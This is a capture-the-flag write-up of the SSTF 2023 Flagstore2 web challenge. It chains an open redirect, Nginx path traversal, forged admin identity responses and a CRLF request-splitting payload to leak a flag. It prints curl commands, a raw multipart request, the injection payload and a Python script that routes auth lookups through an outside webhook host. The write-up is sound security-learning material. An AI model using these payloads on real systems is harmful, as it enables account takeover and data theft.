SSTF 2023 / Flagstore2
August 19, 2023
In this write-up, I will outline the steps I took to solve the SSTF Flagstore2 challenge.
The challenge involved a web application with the following key aspects:
- Exploitable open redirect in the authentication process.
- Nginx proxy enabling directory traversal.
- Logic bug leading to authentication bypass.
- Chain HTTP Request Splitting & CRLF Injection to leak the admin password.
- Using multipart data to keep body data during a redirect
Write up:
To begin, upon reviewing the code, a potential open redirect in logout.php
is evident due to this line: header("Location: " . $return_uri);
.
This can be verified by using the command: curl -v http://flagstore2.sstf.site:13337/logout.php?return_uri=https://google.com
.
Next, upon using the application, it becomes clear that the application employs Keycloak for managing the authentication process, using the latest version. The implementation of this configuration is based on some PHP code. After reviewing the login.php
, it is confirmed that by controlling $_GET["auth_server"]
, the authentication can be completely bypassed.
Initially, we considered using an open redirect to forward all requests. However, due to these two lines, this approach is not feasible:
if (!str_starts_with($_GET["auth_server"], $AUTH_SERVER))
die("auth_server is not in whitelist.");
Here’s where we combine directory traversal with NGINX to achieve a bypass:
Using the following command, we can gain control over the auth_server
parameter and subsequently over requests and responses:
curl "http://flagstore2.sstf.site:13337/sso/admin/../../logout.php?return_uri=https://google.com" -v
This grants us control over parameters such as uid
, username
, access_token
, and refresh_token
in the session data. (Refer to callback.php
for details.)
include_once("config.php");
include_once("auth_service.php");
session_start();
if (!isset($_SESSION["auth_server"]))
die("auth_server is not set.");
if (!isset($_SESSION["state"]) || $_SESSION["state"] != $_GET["state"])
die("Invalid state.");
if (!isset($_GET["code"]))
die("Invalid code.");
$res = request_token($_SESSION["auth_server"], $CLIENT_ID, $_SESSION["redirect_uri"], $_SESSION["code_verifier"], $_GET["code"]);
$res = json_decode($res, true);
if(!isset($res["access_token"]))
die("Invalid access token.");
$user = request_user_info($_SESSION["auth_server"], $res["access_token"]);
if($user == null)
die("Invalid access token.");
$_SESSION["uid"] = $user["sub"];
$_SESSION["username"] = $user["preferred_username"];
$_SESSION["access_token"] = $res["access_token"];
$_SESSION["refresh_token"] = $res["refresh_token"];
header("Location: /index.php");
?>
Access to the /admin
path is restricted to admin users only (if($_SESSION["username"] != "admin") die("you are not admin");
). By manipulating reset password requests, a specially crafted JSON payload can be used, containing "preferred_username"=> "admin"
.
{"preferred_username":"admin","access_token":"random","sub":"sdfsdf"}
However, accessing the flag and leaking it requires further steps. The following PHP code snippet is used to reset the admin password with flag value:
$password = file_get_contents('/flag', true);
request_resetpassword($AUTH_SERVER, $_SESSION["access_token"], $_SESSION["uid"], $password);
By combining CRLF and HTTP request splitting, the password reset body data can be sent in a new request, potentially leading to leakage. As we control $_SESSION["access_token"]
, which serves as a request header, this can be exploited.
In the order.php
file, the lines below allow order submissions:
{
echo "Order is submitted! <br />";
if(!isset($_SESSION["orders"]))
$_SESSION["orders"] = array();
array_push($_SESSION["orders"], $_POST);
}
Exploiting this, the POST /orders.php
endpoint can be utilized, with the admin password reset data in its body. However, an issue arises where the order field needs to be matched:
{
echo "======================================== <br />";
echo "No: " . $order["idx"] . "<br />";
echo "Name: " . $order["name"] . "<br />";
echo "Price: " . $order["price"] . "<br />";
echo "======================================== <br />";
}
My teammate, parrot, suggested using multipart
and sending all body data as a single field. This idea was confirmed to work:
Host: flagstore2.sstf.site:13337
Cookie: PHPSESSID=fb02mj05t9krlbekd7nk6lguut
Content-Type: multipart/form-data; boundary=----aaa
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Content-Length: 104
------aaa
Content-Disposition: form-data; name="name"
type=password&temporary=0&value=flagwillbehere
To recreate the JSON payload with the new CRLF payload, follow this example:
{"preferred_username":"admin","access_token":"AA\r\n\r\nPOST /orders.php HTTP/1.1\r\nHost: flagstore2.sstf.site:13337\r\nContent-Type: multipart/form-data; boundary=---------------------------735323031399963166993862151\r\nCookie: PHPSESSID=ihsdcioborim07md00e79jo6bl\r\nContent-Length: 321\r\n\r\n-----------------------------735323031399963166993862151\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","sub":"sdfsdf"}
To automate the process, a Python script can be used:
r= requests.session()
redirect = r.get('http://flagstore2.sstf.site:13337/login.php?auth_server=http://flagstore2.sstf.site:13337/sso/admin/../../logout.php?return_uri=https://webhook.site/xxxxxxxx?a=',allow_redirects=False)
state = redirect.headers['location']
state = state[state.index('state')+6:]
state = state[:state.index('&')]
r.get('http://flagstore2.sstf.site:13337/callback.php?code=lmao&state='+state)
r.get('http://flagstore2.sstf.site:13337/admin/reset.php')
By utilizing the PHPSESSID=ihsdcioborim07md00e79jo6bl
and making a simple request to /orders.php
, the flag can be leaked, as shown in the following screenshot:
Please let me know if you have any further questions or if there’s anything else I can assist you with.
In the end, our team was the only one to crack this challenge